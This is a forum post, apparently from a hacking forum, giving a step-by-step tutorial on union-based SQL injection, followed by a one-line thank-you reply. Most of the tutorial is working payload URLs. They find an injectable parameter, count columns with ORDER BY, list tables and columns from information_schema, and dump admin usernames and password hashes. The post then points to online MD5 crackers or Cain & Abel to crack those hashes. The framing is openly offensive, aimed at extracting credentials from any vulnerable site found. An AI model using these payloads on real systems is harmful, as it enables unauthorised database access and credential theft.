[Crow_SL]

Hi all today i will explain you how to do a simple SQLi

So lets start

Now, once you have found your site, all you need to do is add a apostrophe ( ' ) after the value, so our result will look something like this:

Code:

http://www.site.com/index.php?id=10'

Now, if the page loads normally, as if you had just clicked the refresh button, your out of luck. But, if you get an error similar to this:

Code:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

Then your in luck, your site is vulnrable! So, now what we need to do is find the number of columns on the site. What we need to do is use this function in ascending order until we get an error, this is quite hard to explain so we will do this:

Code:

http://www.site.com/index.php?id=10 ORDER BY 1-- (No error, refreshes like normal) http://www.site.com/index.php?id=10 ORDER BY 2-- (No error, refreshes like normal) http://www.site.com/index.php?id=10 ORDER BY 3-- (No error, refreshes like normal) http://www.site.com/index.php?id=10 ORDER BY 4-- (No error, refreshes like normal) http://www.site.com/index.php?id=10 ORDER BY 5-- (No error, refreshes like normal) http://www.site.com/index.php?id=10 ORDER BY 6-- (Error, we get a message saying Unknown column '6' in 'order clause')

Now we know there are 5 column, so we need to find which columns are vulnerable. There are 5 and we put " - "( without " marks) in link:

Code:

http://www.site.com/index.php?id=-10 union select 1,2,3,4,5--

We need to try an find a numbers on the screen they could be anywhere, but they will most probably be in the center of the screen, so lets say a 3 popped up on the screen, we then know that 3 is the vulnerable column in this case, so what next? So we need to replace the vulnerable columns (3) with '@@version' This will bring up more numbers on the screen, they will either be 4.x or 5.x. So we need to replace the vulnerable columns (3) with '@@version' This will bring up more numbers on the screen, they will either be 4.x or 5.x, lets see the code for the vulnerable column

Code:

http://www.site.com/index.php?id=-10 union select 1,2,@@version,4,5--

So, we now have the version number, it's time to get the name of the tables (This is when it gets tricky!) within the database. We will use the "group_concat(table_name)" function. Since it's version 5, the tables are in one big table called information_scheme let's start:

Code:

http://www.site.com/index.php?id=-10 union select 1,2,group_concat(table_name,0x0a),4,5 from information_schema.tables where table_schema=database()--

Once we have found something that might contain the usernames and passwords, it's time to get the name of the columns within that table. We use the group_concat(column_name) function to do this. And once again, in version 5, the columns are within information_schema.columns this time After the information_schema.columns, we need to tell the database which table we want to extract the columns. So after .columns, you put where table_name=(Name of table in hex form) Now, we need to convert the name of the table you're extracting from into Hex form, we are going to use an online converter. What I use is Text to Hex Converter. After you have the hex, put the folowing characters "0x" before it and copy all of the numbers/letters and paste them after the equals sign, so it should eqnd up looking like this:

Code:

http://www.site.com/index.php?id=-10 union select 1,2,group_concat(column_name,0x0a),4,5 from information_schema.columns where table_name=0x7573657273

Now we have found column(s) name(s), and they are example: username and password this code will be used

Code:

http://www.site.com/index.php?id=-10 union select 1,2,group_concat(username,0x3a,password,0x0a),4,5 from "table name"--

After that we get admins usernames and passwords. Username wil be in normal (txt) form but the password will be made from numbers and letters that you need to crack/hash. You will do that by going on online md5 decrypter or downloading C&A (Cain&Abel)

Thank you all for reading, and sorry for my bad english

[The Protagonist]

Great tutorial crow! Keep up the good work

[Crow_SL]

Thank you my friend